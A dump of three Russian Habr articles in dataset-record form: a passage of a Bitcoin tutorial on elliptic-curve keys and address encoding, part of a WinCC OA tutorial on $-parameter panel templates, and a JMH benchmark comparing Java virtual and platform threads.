y, x = np.ogrid[-5:5:100j, -5:5:100j]
plt.contour(x.ravel(), y.ravel(), pow(y, 2) - pow(x, 3) - x * a - b, [0])
plt.grid()
plt.show()
if __name__ == '__main__':
main()
```
Если верить вики, то впервые эта функция засветилась еще в трудах Диофанта, а позже, в 17 веке, ей заинтересовался сам Ньютон. Его исследования во многом привели к формулам сложения точек на эллиптической кривой, с которыми мы сейчас познакомимся. Здесь и в дальнейшем мы будем рассматривать некоторую эллиптическую кривую .
Пусть есть две точки . Их суммой называется точка , которая в простейшем случае определяется следующим образом: проведем прямую через  и  — она пересечет кривую  в единственной точке, назовем ее . Поменяв  координату точки  на противоположную по знаку, мы получим точку , которую и будем называть суммой  и , то есть .
Считаю необходимым отметить, что мы именно **вводим** такую операцию сложения — если вы будете складывать точки в привычном понимании, то есть складывая соответствующие координаты, то получите совсем другую точку ), которая, скорее всего, не имеет ничего общего с  или  и вообще не лежит на кривой .
Самые сообразительные уже задались вопросом — а что будет, если например провести прямую через две точки, имеющие координаты вида ) и ), то есть прямая, проходящая через них, будет параллельна оси ординат (третий кадр на картинке ниже).
Несложно увидеть, что в этом случае отсутствует третье пересечение с кривой , которое мы называли . Для того, чтобы избежать этого казуса, введем так называемую **точку в бесконечности** (point of infinity), обозначаемую обычно  или просто , как на картинке. И будем говорить, что в случае отсутствия пересечения .
Особый интерес для нас представляет случай, когда мы хотим сложить точку саму с собой (2 кадр, точка ). В этом случае просто проведем касательную к точке  и отразим полученную точку пересечения относительно .
Теперь, легким движением руки, можно ввести операцию умножения точки на какое-то  число. В результате получим новую точку , то есть  раз. С картинкой все должно стать вообще понятно:
#### Elliptic curve over a finite field
В *ECC* используется точно такая же кривая, только рассматриваемая над некоторым конечным полем   — простое число. То есть
%0A)
Все названные свойства (сложение, умножение, точка в бесконечности) для такой функции остаются в силе, хотя, если попробовать нарисовать данную функцию, то напоминать привычную эллиптическую кривую она будет лишь отдаленно (в лучшем случае). А понятие «касательной к функции в точке» вообще теряет всякий смысл, но это ничего страшного. Вот пример функции  для :
А вот для , тут вообще почти хаотичный набор точек. Единственное, что все еще напоминает о происхождении этого графика, так это симметрия относительно оси .
**P. S.** Если вам интересно, как в случае с кривой над конечным полем вычислить координаты точки ), зная координаты ) и ) — можете полистать [«An Introduction to Bitcoin, Elliptic Curves and the Mathematics of ECDSA» by N. Mistry](http://www.slideshare.net/NikeshMistry1/introduction-to-bitcoin-and-ecdsa), там все подробно расписано, достаточно знать математику на уровне 8 класса.
**P.P.S.** На случай, если мои примеры не удовлетворили ваш пытливый ум, вот [сайт](https://cdn.rawgit.com/andreacorbellini/ecc/920b29a/interactive/modk-add.html) для рисования кривых всех сортов, поэкспериментируйте.
#### SECP256k1
Возвращаясь к Bitcoin, в нем используется кривая [SECP256k1](https://en.bitcoin.it/wiki/Secp256k1). Она имеет вид  и рассматривается над полем , где  — очень большое простое число, а именно .
Так же для SECP256k1 определена так называемая *base point*, она же *generator point* — это просто точка, как правило, обозначаемая , лежащая на данной кривой. Она нужна для создания публичного ключа, о котором будет рассказано ниже.
Простой пример: используя Python, проверим, принадлежит ли точка ) кривой *SECP256k1*
```
>>> p = 115792089237316195423570985008687907853269984665640564039457584007908834671663
>>> x = 55066263022277343669578718895168534326250603453777594175500187360389116729240
>>> y = 32670510020758816978083085130507043184471273380659243275938904335757337482424
>>> (x ** 3 + 7) % p == y**2 % p
True
```
### Digital signature
> Электро́нная по́дпись (ЭП), Электро́нная цифровая по́дпись (ЭЦП) — реквизит электронного документа, полученный в результате криптографического преобразования информации с использованием закрытого ключа подписи и позволяющий проверить отсутствие искажения информации в электронном документе с момента формирования подписи (целостность), принадлежность подписи владельцу сертификата ключа подписи (авторство), а в случае успешной проверки подтвердить факт подписания электронного документа (неотказуемость) — [Wikipedia](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%8C)
>
>
Общая идея такая: Алиса хочет перевести 1 BTC Бобу. Для этого она создает сообщение типа:
```
{
"from" : 1FXySbm7jpJfHEJRjSNPPUqnpRTcSuS8aN, // Alice's address
"to" : 1Eqm3z1yu6D4Y1c1LXKqReqo1gvZNrmfvN, // Bob's address
"amount" : 1 // Send 1 BTC
}
```
Потом Алиса берет свой приватный ключ (пока что можете считать, что это число, известное только Алисе), хэш сообщения и функцию вида ). На выходе она получает *подпись* своего сообщения — в случае ECDSA это будет пара целых чисел, для других алгоритмов подпись может выглядеть по другому. После этого она рассылает всем участникам сети исходное сообщение, подпись и свой публичный ключ.
В результате, каждый Вася при желании сможет взять эту троицу, функцию вида ) и проверить, действительно ли владелец приватного ключа подписывал это сообщение или нет. А если внутри сети все знают, что  принадлежит Алисе, то можно понять, отправила эти деньги она или же кто-то пытается сделать это от ее имени.
Более того, предположим, что нашелся человек, вставший между Алисой и остальной сетью. Пусть он перехватил сообщение Алисы и что-то в нем изменил, буквально 1 бит из миллиарда. Но даже в этом случае проверка подписи на валидность ) покажет, что сообщение было изменено.
Это очень важная фича для Bitcoin, потому как сеть *распределенная*. Мы не можем заранее знать, к кому попадет наша транзакция с требованием перевести 1000 BTC. Но изменить ее (например указать свой адрес с качестве получателя) он не сможет, потому как транзакция подписана вашим приватным ключом, и остальные участники сети сразу поймут, что здесь что-то не так.
**AHTUNG!** В действительности процесс довольно сильно отличается от вышеописанного. Здесь я просто на пальцах показал, что из себя представляет электронно-цифровая подпись и зачем она нужна. Реальный алгоритм описан в главе [«Bitcoin in a nutshell — Transactions»](https://habrahabr.ru/post/319860/).
### Private key
*Приватный ключ* — это довольно общий термин и в различных алгоритмах электронной подписи могут использоваться различные типы приватных ключей.
Как вы уже могли заметить, в Bitcoin используется алгоритм ECDSA — в его случае приватный ключ — это некоторое натуральное 256 битное число, то есть самое обычное целое число от  до . Технически, даже число *123456* будет являться корректным приватным ключом, но очень скоро вы узнаете, что ваши монеты «принадлежат» вам ровно до того момента, как у злоумышленника окажется ваш приватный ключ, а значения типа *123456* очень легко перебираются.
Важно отметить, на сегодняшний день перебрать все ключи невозможно в силу того, что  — это фантастически большое число.
Постараемся его представить: согласно [этой статье](http://www.quickanddirtytips.com/education/math/how-many-grains-of-sand-are-on-earth%E2%80%99s-beaches), на всей Земле немногим меньше  песчинок. Воспользуемся тем, что , то есть  песчинок. А всего адресов у нас , примерно .
Значит, мы можем взять весь песок на Земле, превратить каждую песчинку в новую Землю, в получившейся куче планет каждую песчинку на каждой планете снова превратить в новую Землю, и суммарное число песчинок все равно будет на порядки меньше числа возможных приватных ключей.
По этой же причине большинство Bitcoin клиентов при создании приватного ключа просто берут 256 случайных бит — вероятность коллизии крайне мала.
#### Python
```
>>> import random
>>> private_key = ''.join(['%x' % random.randrange(16) for x in range(0, 64)])
>>> private_key
'9ceb87fc34ec40408fd8ab3fa81a93f7b4ebd40bba7811ebef7cbc80252a9815'
>>> # or
>>> import os
>>> private_key = os.urandom(32).encode('hex')
>>> private_key
'0a56184c7a383d8bcce0c78e6e7a4b4b161b2f80a126caa48bde823a4625521f'
```
#### Python, [ECDSA](https://github.com/warner/python-ecdsa)
```
>>> import binascii
>>> import ecdsa # sudo pip install ecdsa
>>> private_key = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1)
>>> binascii.hexlify(private_key.to_string()).decode('ascii').upper()
u'CE47C04A097522D33B4B003B25DD7E8D7945EA52FA8931FD9AA55B315A39DC62'
```
#### Bitcoin-cli
```
$ bitcoin-cli getnewaddress
14RVpC4su4PzSafjCKVWP2YBHv3f6zNf6U
$ bitcoin-cli dumpprivkey 14RVpC4su4PzSafjCKVWP2YBHv3f6zNf6U
L3SPdkFWMnFyDGyV3vkCjroGi4zfD59Wsc5CHdB1LirjN6s2vii9
```
### Public key
Пусть  — наш приватный ключ,  — base point, тогда публичный ключ . То есть, фактически, *публичный ключ* — это некоторая точка, лежащая на кривой SECP256k1.
Два важных нюанса. Во-первых, несложно видеть, что операция получения публичного ключа определена однозначно, то есть конкретному приватному ключу всегда соответствует один единственный публичный ключ. Во-вторых, обратная операция является вычислительно трудной и, в общем случае, получить приватный ключ из публичного можно только полным перебором первого.
Ниже вы узнаете, что точно такая же связь существует между публичным ключом и адресом, только там все дело в необратимости хэш-функций.
#### Python, ECDSA
```
>>> import binascii
>>> import ecdsa
>>> private_key = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1)
>>> public_key = private_key.get_verifying_key()
>>> binascii.hexlify(public_key.to_string()).decode('ascii').upper()
u'D5C08F1BFC9C26A5D18FE9254E7923DEBBD34AFB92AC23ABFC6388D2659446C1F04CCDEBB677EAABFED9294663EE79D71B57CA6A6B76BC47E6F8670FE759D746'
```
#### C++, [libbitcoin](https://github.com/libbitcoin/libbitcoin)
```
#include
#include
int main() {
// Private key
bc::ec\_secret secret = bc::decode\_hash(
"038109007313a5807b2eccc082c8c3fbb988a973cacf1a7df9ce725c31b14776");
// Get public key
bc::ec\_point public\_key = bc::secret\_to\_public\_key(secret);
std::cout << "Public key: " << bc::encode\_hex(public\_key) << std::endl;
}
```
Для компиляции и запуска используем (предварительно установив libbitcoin):
```
$ g++ -o public_key $$(pkg-config --cflags --libs libbitcoin)
$ ./public\_key
Public key: 0202a406624211f2abbdc68da3df929f938c3399dd79fac1b51b0e4ad1d26a47aa
```
Вы можете видеть, что форматы публичных ключей в первом и втором примере отличаются (как минимум длиной), об этом я подробнее расскажу ниже.
### Formats & address
#### Base58Check encoding
Эта кодировка будет встречаться нам постоянно на протяжении всей книги, поэтому стоит понимать, как она работает и зачем она вообще нужна.
Ее суть в том, чтобы максимально кратко записать последовательность байт в удобочитаемом формате и при этом сделать вероятность возможных опечаток еще меньше. Я думаю вы сами понимаете, что в случае Bitcoin безопасность лишней не бывает. Один неправильный символ и деньги уйдут на адрес, ключей к которому скорее всего никто никогда не найдет. Вот комментарий к этой кодировке из в [base58.h](https://github.com/bitcoin/bitcoin/blob/master/src/base58.h):
>
> ```
> // Why base-58 instead of standard base-64 encoding?
> // - Don't want 0OIl characters that look the same in some fonts and
> // could be used to create visually identical looking account numbers.
> // - A string with non-alphanumeric characters is not as easily accepted as an account number.
> // - E-mail usually won't line-break if there's no punctuation to break at.
> // - Doubleclicking selects the whole number as one word if it's all alphanumeric.
>
> ```
>
>
>
Краткость записи проще всего реализовать, используя довольно распространенную кодировку [Base64](https://en.wikipedia.org/wiki/Base64), то есть используя систему счисления с основанием 64, где для записи используются цифры `0,1,...,9`, буквы `a-z` и `A-Z` — это дает 62 символа, оставшиеся два могут быть чем угодно, в зависимости от реализации.
Первое отличие [Base58Check](https://en.bitcoin.it/wiki/Base58Check_encoding) в том, что убраны символы `0,O,l,I` на случай, если кто-нибудь решит их перепутать. Получается 58 символов, можете проверить
```
b58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
def base58encode(n):
result = ''
while n > 0:
result = b58[n%58] + result
n /= 58
return result
# print "Base58 encode for '123123':", base58encode(123123)
# # Base58 encode for '123123': dbp
```
Второе отличие — это тот самый *check*. В конец строки снова добавляется *checksum* — первые 4 байта `SHA256(SHA256(str))`. Ну и еще нужно добавить в начало столько единиц, сколько ведущих нулей было до кодировки в base58, это уже дело техники.
```
import hashlib
def base58encode(n):
b58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
result = ''
while n > 0:
result = b58[n % 58] + result
n /= 58
return result
# Will be used to decode raw bytes and then encode them to the base58
def base256decode(s):
result = 0
for c in s:
result = result * 256 + ord(c)
return result
def countLeadingZeroes(s):
count = 0
for c in s:
if c == '\0':
count += 1
else:
break
return count
def base58CheckEncode(prefix, payload):
s = chr(prefix) + payload
checksum = hashlib.sha256(hashlib.sha256(s).digest()).digest()[0:4]
result = s + checksum
return '1' * countLeadingZeroes(result) + base58encode(base256decode(result))
```
#### Private key formats
Самый очевидный способ хранить приватный ключ — это записать 256 бит в виде кучи нулей и единиц. Но, наверное, любой технически грамотный человек понимает, что будет сильно проще представить ту же самую последовательность в виде 32 байт, где каждому байту соответствует два символа в шестнадцатиричной записи. Напомню, что в этом случае используются цифры`0,1,...,9` и буквы `A,B,C,D,E,F`. Этот формат я использовал в примерах выше, для красоты его еще иногда разделяют пробелами.
```
E9 87 3D 79 C6 D8 7D C0 FB 6A 57 78 63 33 89 F4 45 32 13 30 3D A6 1F 20 BD 67 FC 23 3A A3 32 62
```
Другой более прогрессивный формат — [WIF](https://en.bitcoin.it/wiki/Wallet_import_format) (*Wallet Import Format*). Строится он довольно просто:
1. Берем приватный ключ, например `0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D`
2. Записываем его в Base58Check с префиксом `0x80`. Все.
```
private_key = '0a56184c7a383d8bcce0c78e6e7a4b4b161b2f80a126caa48bde823a4625521f'
def privateKeyToWif(key_hex):
return base58CheckEncode(0x80, key_hex.decode('hex'))
# print "Private key in WIF format:", privateKeyToWif(private_key)
# # Private key in WIF format: 5HtqcFguVHA22E3bcjJR2p4HHMEGnEXxVL5hnxmPQvRedSQSuT4
```
#### Public key formats
На всякий случай напомню, что публичный ключ — это просто точка на прямой SECP256k1. Первый и самый распространенный вариант его записи — *uncompressed* формат, по 32 байта для X и Y координат. Чтобы не возникало путаницы, используется префикс `0x04` и того 65 байт.
```
import ecdsa
private_key = '0a56184c7a383d8bcce0c78e6e7a4b4b161b2f80a126caa48bde823a4625521f'
def privateKeyToPublicKey(s):
sk = ecdsa.SigningKey.from_string(s.decode('hex'), curve=ecdsa.SECP256k1)
vk = sk.verifying_key
return ('\04' + sk.verifying_key.to_string()).encode('hex')
uncompressed_public_key = privateKeyToPublicKey(private_key)
# print "Uncompressed public key: {}, size: {}".format(uncompressed_public_key, len(uncompressed_public_key) / 2)
# # Uncompressed public key: 045fbbe96332b2fc2bcc1b6a267678785401ee3b75674e061ca3616bbb66777b4f946bdd2a6a8ce419eacc5d05718bd718dc8d90c497cee74f5994681af0a1f842, size: 65
```
Однако, как можно догадаться из названия, это не самый оптимальный способ хранить публичный ключ.
Вы удивитесь, но второй формат называется *compressed*. Суть его в следующем: публичный ключ — это точка на кривой, то есть пара чисел удовлетворяющая уравнению ). А значит можно записать только Х координату и если нам понадобится Y координата — просто решаем уравнение. Тем самым мы уменьшаем размер публичного ключа почти на 50%!
Единственный нюанс — если точка лежит на кривой, то для ее Х координаты очевидно существует два решения такого уравнения (посмотрите на графики выше, если сомневаетесь). Обычно мы бы просто сохранили знак для Y координаты, но когда речь идет о функции над конечным полем, то нужно воспользоваться следующим свойством: **если для Х координаты существуют решения уравнения, то одна из точек будет иметь четную Y координату, а вторая — нечетную** (опять же, можете сами в этом убедиться).
В первом случае используется префикс `0x02`, во втором — `0x03`. Вот иллюстрация процесса:
#### Address
Как уже было сказано, адрес получается из публичного ключа однозначным образом. Более того, провести обратную операцию невозможно, так как используются криптографически стойкие хэш функции — [RIPEMD160](https://en.wikipedia.org/wiki/RIPEMD) и [SHA256](https://en.wikipedia.org/wiki/SHA-2). Вот алгоритм перевода публичного ключа в адрес:
1. Возьмем приватный ключ, например `45b0c38fa54766354cf3409d38b873255dfa9ed3407a542ba48eb9cab9dfca67`
2. Получим из него публичный ключ в *uncompressed* формате, в данном случае это `04162ebcd38c90b56fbdb4b0390695afb471c944a6003cb334bbf030a89c42b584f089012beb4842483692bdff9fcab8676fed42c47bffb081001209079bbcb8db`.
3. Считаем `RIPEMD160(SHA256(public_key))`, получается `5879DB1D96FC29B2A6BDC593E67EDD2C5876F64C`
4. Переводим результат в *Base58Check* с префиксом `0x00` — `17JdJpDyu3tB5GD3jwZP784W5KbRdfb84X`. Это и есть адрес.
```
def pubKeyToAddr(s):
ripemd160 = hashlib.new('ripemd160')
ripemd160.update(hashlib.sha256(s.decode('hex')).digest())
return base58CheckEncode(0, ripemd160.digest())
def keyToAddr(s):
return pubKeyToAddr(privateKeyToPublicKey(s))
# print keyToAddr("45b0c38fa54766354cf3409d38b873255dfa9ed3407a542ba48eb9cab9dfca67")
# # '17JdJpDyu3tB5GD3jwZP784W5KbRdfb84X'
```
### Sign & verify
Не думаю, что вам нужно обязательно знать технические подробности того, как именно *ECDSA* подписывает и проверяет сообщения, все равно вы везде будете пользоваться готовыми библиотеками. Главное, чтобы у вас было общее понимание того зачем это нужно, но если вам все таки интересно — полистайте [Layman’s Guide to Elliptic Curve Digital Signatures](http://royalforkblog.github.io/2014/09/04/ecc/), там внизу есть красивая визуализация всего процесса, можете сами попробовать.
У меня на этом все, следующая глава: [Bitcoin in a nutshell — Transaction](https://habrahabr.ru/post/319860/).
### Links
* [«An Introduction to Bitcoin, Elliptic Curves and the Mathematics of ECDSA» by N. Mistry](http://www.slideshare.net/NikeshMistry1/introduction-to-bitcoin-and-ecdsa)
* [«Secure Implementation of ECDSA Signatures in Bitcoin» by Di Wang](http://www.nicolascourtois.com/bitcoin/thesis_Di_Wang.pdf)
* [Elliptic Curve Cryptography: a gentle introduction](http://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/)
* [Эллиптическая криптография: теория](https://habrahabr.ru/post/188958/)
* [Generating A Bitcoin Private Key And Address](https://davanum.wordpress.com/2014/03/17/generating-a-bitcoin-private-key-and-address/) | https://habr.com/ru/post/319868/ | null | ru | null |
# Самоучитель по WinCC OA. Часть 4. Повторное использование объектов. $-параметры
В предыдущей части мы завершили создание визуализиции задвижки и создали простейший скрипт, имитирующий ее поведение.
У нас есть одна панель под названием Flap, которая отображает и шлет команды для одной задвижки — Flap1. Именно такая точка данных указана во всех скриптах этой панели. Возникает закономерный вопрос — что делать, если задвижек не одна? И даже не две. А несколько десятков, сотен и даже тысяч (для распределенной системы WinCC OA и несколько миллионов сигналов не помеха, смотрим на Большой Андронный Коллайдер, где применяется именно это система, и завидуем).
Очевидный вариант — создать несколько десятков, сотен и тысяч панелей, где каждая точки данных приведена явно, отметаем — долго, хлопотно и грозит огромными трудозатратами в случае малейших изменений, неизбежных во время ПНР.
Другой вариант, но не единственный, создание шаблона на основе имеющейся панели. Создадим копию имеющейся панели Flap, для чего выберем пункт меню Panel → Save Panel As. Зададим имя Panel\_ref.pnl (окончание \_ref подразумевает reference, т.е. ссылку, или, если будет угодно, шаблон)
Откроем панель Flap\_ref (она и так должна быть открытой после сохранения). Отредактируем скрипты панели, выбрав в меню Edit → Edit Panel Scripts. Откроется окно, содержащее все скрипты всех графических примитивов данной панели.
Для задвижки у нас создан собственный тип точки данных, и такие вещи, как положение или команда открытия в любом скрипте будут одинаковыми для всех задвижек. Различаться будут только имена задвижек, т.е. имена точек данных: Flap1, Flap2 и Flap3 в нашем простом случае. Для того, чтобы создать шаблон необходимо заменить имя задвижки, Flap1 на конструкцию, содержащую $-параметр (он так и называется в документации «доллар-параметр»). Проще все замены выполнять посредством Find&Replace в редакторе. Скрипты теперь выглядят так.
```
────────────────────────────────────────────────────────────────────────────────────────────────────
─// [RECTANGLE3] [3] - [Initialize]
// SimpleCtrlScriptStart {invalid}
main()
{
EP_setRotation();
}
void EP_setRotation()
{
dyn_errClass err;
if( !dpExists( "System1:" + $dp + ".Inputs.Position:_online.._value") )
{
setValue("", "color", "_dpdoesnotexist");
return;
}
dpConnect("EP_setRotationCB",
"System1:" + $dp + ".Inputs.Position:_online.._value");
err = getLastError();
if (dynlen(err) > 0)
setValue("", "color", "_dpdoesnotexist");
}
void EP_setRotationCB(string dp1, int iNewValue)
{
float MIN_VALUE = 0;
float MAX_VALUE = 90;
float MIN_ROTATION = 0;
float MAX_ROTATION = 90;
float fRotation;
fRotation = ( 1.0 * (MAX_ROTATION - MIN_ROTATION) / (MAX_VALUE - MIN_VALUE)) *
(iNewValue - MIN_VALUE) + MIN_ROTATION;
if (fRotation > MAX_ROTATION) fRotation = MAX_ROTATION;
else if (fRotation < MIN_ROTATION) fRotation = MIN_ROTATION;
setValue("", "rotation", fRotation);
}
// SimpleCtrlScript {EP_setRotation}
// DP {System1:" + $dp + ".Inputs.Position}
// DPConfig {:_online.._value}
// DPType {int}
// PVSSRange {0}
// Min {0}
// Max {90}
// MinRotation {0}
// MaxRotation {90}
// SimpleCtrlScriptEnd {EP_setRotation}
════════════════════════════════════════════════════════════════════════════════════════════════════
─// [PUSH_BUTTON1] [4] - [Clicked]
main(mapping event)
{
dpSet("System1:" + $dp + ".Commands.Open", 1, "System1:" + $dp + ".Commands.Close", 0);
}
════════════════════════════════════════════════════════════════════════════════════════════════════
─// [PUSH_BUTTON2] [5] - [Clicked]
main(mapping event)
{
dpSet("System1:" + $dp + ".Commands.Open", 0, "System1:" + $dp + ".Commands.Close", 1);
}
════════════════════════════════════════════════════════════════════════════════════════════════════
```
Было:
System1:Flap1.Inputs.Position:*online..*value
Стало:
System1:" + $dp + ".Inputs.Position:*online..*value
Строка, которая ранее содержала непосредственно элемент точки данных, теперь формируется из первой постоянной части (System1), к которой добавляется $dp, после чего добавляется вторая постоянная часть, которая так же не зависит от точки данных, т.е. — от конкретной задвижки. Знак + подразумевает объединение строк. Сами строки в данном случае заключены в кавычки. В явном виде такую панель использовать, разумеется, не получится. Необходимо задать подстановку для $dp (Flap2, например) при вызове этой панели.
Используя метод аналогии, можно сравнить $-параметры с формальными и фактическими параметрами функции в любом языке программирования. При вызове функции мы всегда должны задавать фактические параметры, значения которых заменят формальные, и функция отработает.
Теперь создадим новую панель. Пусть она называется Flaps. Сделаем новую панель чуть побольше.
Далее необходимо перетащить мышью из дерева проекта панель Flap\_ref на рабочее поле открытой панели Flaps. При этом система автоматически определит присутствие $-параметров и предложит подставить вместо формального значения — фактическое.
Drag'n'dropЗададим имя клапана, вместо $dp укажем Flap1. Нажмем на кнопку «Save and Run in QuickTest Mode» и убедимся, что клапан 1 реагирует на нажатия кнопок Open и Close — то есть, открывается или закрывается. Если клапан вдруг не реагирует на команды, посмотрите состояние контрол-менеджера, добавленного в предыдущей части, он может быть остановлен (тогда его надо, разумеется, запустить, или просто перевести режим запуска из ручного в автоматический, чтобы каждый раз не отвлекаться).
Все работаетДобавим точно так же панель для Flap2
Проверяем. Первый клапан работает (управляется), второй- не работает. Почему? Все просто, созданная вчера модель (в виде скрипта) управляет всего лишь одним клапаном Flap1. Остальные клапаны в модели не описаны.
Второй клапан не работаетДоработаем имеющуюся модель для того, чтобы она управляла и вторым клапаном тоже. Модифицируем быстро, но неправильно, путем копи-паста. Создаем еще две функции dpConnect и две разных callback-функции, переименовываем первую callback-функцию. В итоге получается такой код.
Не забываем перезапустить Control Manager этого скрипта (тот, что с опцией «-num 2»). После модификации модели проверяем изменения и видим, что оба клапана управляются независимо.
В связи с тем, что на DPE Position у нас «натравлен» конфиг с функцией, третий клапан на экран пока не выносим (собственно, я его и в модель-то напрасно внес). | https://habr.com/ru/post/530890/ | null | ru | null |
# Сравнение виртуальных и обычных потоков в Java
Я люблю стректрейсы и понятный линейный код. И соответственно не люблю реактивщину. Все примеры будут нереактивными с последовательным понятным кодом.
Примеры запускались на доступной сегодня jdk.
```
openjdk version "19-loom" 2022-09-20
OpenJDK Runtime Environment (build 19-loom+6-625)
OpenJDK 64-Bit Server VM (build 19-loom+6-625, mixed mode, sharing)
```
Не забываем про `--enable-preview` флажок.
В этой jdk доступны такие методы для экспериментирования с виртуальными потоками:
```
/**
* Creates a virtual thread to execute a task and schedules it to execute.
*
* This method is equivalent to:
\*
```
{@code Thread.ofVirtual().start(task); }
```
\*
\* @param task the object to run when the thread executes
\* @return a new, and started, virtual thread
\* @throws UnsupportedOperationException if preview features are not enabled
\* @see [Inheritance when creating threads](#inheritance)
\* @since 19
\*/
@PreviewFeature(feature = PreviewFeature.Feature.VIRTUAL\_THREADS)
public static Thread startVirtualThread(Runnable task) { ... }
```
и
```
/**
* Creates an Executor that starts a new virtual Thread for each task.
* The number of threads created by the Executor is unbounded.
*
* This method is equivalent to invoking
\* {@link #newThreadPerTaskExecutor(ThreadFactory)} with a thread factory
\* that creates virtual threads.
\*
\* @return a new executor that creates a new virtual Thread for each task
\* @throws UnsupportedOperationException if preview features are not enabled
\* @since 19
\*/
@PreviewFeature(feature = PreviewFeature.Feature.VIRTUAL\_THREADS)
public static ExecutorService newVirtualThreadPerTaskExecutor() { .... }
```
Не очень много, но для экспериментов хватит.
Общий код запуска тестов:
```
@BenchmarkMode(Mode.AverageTime)
@Warmup(iterations = 1)
@Measurement(iterations = 2)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
@State(Scope.Benchmark)
public class BenchmarkThreading {
public static void main(String[] args) throws RunnerException {
Options opt = new OptionsBuilder()
.include(BenchmarkThreading.class.getSimpleName())
.forks(1)
.build();
new Runner(opt).run();
}
//тут тесты
}
```
Производительность
------------------
Для начала проверим самое простое. Создание потоков. Убедимся что виртуальные потоки работают так как и ожидается.
```
@Benchmark
public void testCreateVirtualThread(Blackhole blackhole) {
for (int i=0; i<100; ++i) {
int finalI = i;
Thread.startVirtualThread(() -> blackhole.consume(finalI));
}
}
@Benchmark
public void testCreateThread(Blackhole blackhole) {
for (int i = 0; i < 1000; ++i) {
int finalI = i;
var thread = new Thread(() -> blackhole.consume(finalI));
thread.start();
}
}
```
```
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCreateThread avgt 199158,959 us/op
BenchmarkThreading.testCreateVirtualThread avgt 53,674 us/op
```
Результат получился ожидаемый и не удивительный. Виртуальные потоки создаются на порядки быстрее обычных как и ожидается.
А что они нам дадут в более-менее реальных примерах использования? Нормальная программа на Джаве не создает потоки в нагруженных участках кода, а использует пулы и экзекуторы.
Попробуем экзекутором выполнить микрозадачи:
```
@Benchmark
public void testVirtualExecutorSmallTask(Blackhole blackhole) {
try(var executor = Executors.newVirtualThreadPerTaskExecutor()){
for (int i = 0; i < 100; ++i) {
int finalI = i;
executor.submit(() -> blackhole.consume(finalI));
}
}
}
@Benchmark
public void testCachedExecutorSmallTask(Blackhole blackhole) throws InterruptedException {
try(var executor = Executors.newCachedThreadPool()){
for (int i = 0; i < 100; ++i) {
int finalI = i;
executor.submit(() -> blackhole.consume(finalI));
}
}
}
@Benchmark
public void testFixedExecutorSmallTask(Blackhole blackhole) throws InterruptedException {
try(var executor = Executors.newFixedThreadPool(20)){
for (int i = 0; i < 100; ++i) {
int finalI = i;
executor.submit(() -> blackhole.consume(finalI));
}
}
}
```
```
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorSmallTask avgt 2 1233,639 us/op
BenchmarkThreading.testFixedExecutorSmallTask avgt 2 2156,590 us/op
BenchmarkThreading.testVirtualExecutorSmallTask avgt 2 96,231 us/op
```
Результат тоже хорош. За исключение того что с размером fixed пула я не угадал. Ну ладно, на практике в продакшен коде типовой мидл тоже никогда не угадает.
А что если сделать тест еще ближе к реальности? В нормальном коде в поток выносят операции занимающее какое-то значимое количество времени.
На моей тестовой машине `Blackhole.consumeCPU(100_000_000)` занимает около 200мс что можно принять разумным временем на задачу которую уже можно отправлять в отдельный поток.
```
@Benchmark
public void testVirtualExecutorNormalTask(Blackhole blackhole) {
try(var executor = Executors.newVirtualThreadPerTaskExecutor()){
for (int i = 0; i < 100; ++i) {
executor.submit(() -> Blackhole.consumeCPU(100_000_000));
}
}
}
@Benchmark
public void testCachedExecutorNormalTask(Blackhole blackhole) throws InterruptedException {
try(var executor = Executors.newCachedThreadPool()){
for (int i = 0; i < 100; ++i) {
executor.submit(() -> Blackhole.consumeCPU(100_000_000));
}
}
}
@Benchmark
public void testFixedExecutorNormalTask(Blackhole blackhole) throws InterruptedException {
try(var executor = Executors.newFixedThreadPool(20)){
for (int i = 0; i < 100; ++i) {
executor.submit(() -> Blackhole.consumeCPU(100_000_000));
}
}
}
```
```
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 5249759,575 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 5247051,750 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 5246058,750 us/op
```
Разницы нет. Это было ожидаемо. На такой нагрузке работа с потоками занимает пренебрежимо малое время по сравнению с бизнес логикой. Не загромождая статью исходниками покажу результат для других значений `Blackhole.consumeCPU(ххх)`
```
10_000_000 или 20мс на задачу
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 553018,934 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 564500,005 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 530236,755 us/op
1_000_000 или 2мс на задачу
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 65124,411 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 54710,276 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 53285,513 us/op
100_000 или 0.2мс на задачу
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 14088,289 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 8267,134 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 5792,022 us/op
10_000 или 0.02мс на задачу
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 2377,223 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 2757,024 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 664,795 us/op
```
Разница становится явно видна на совсем маленьких задачах. Там где менеджмент потоков начинает занимать значимое время от всей остальной логики.
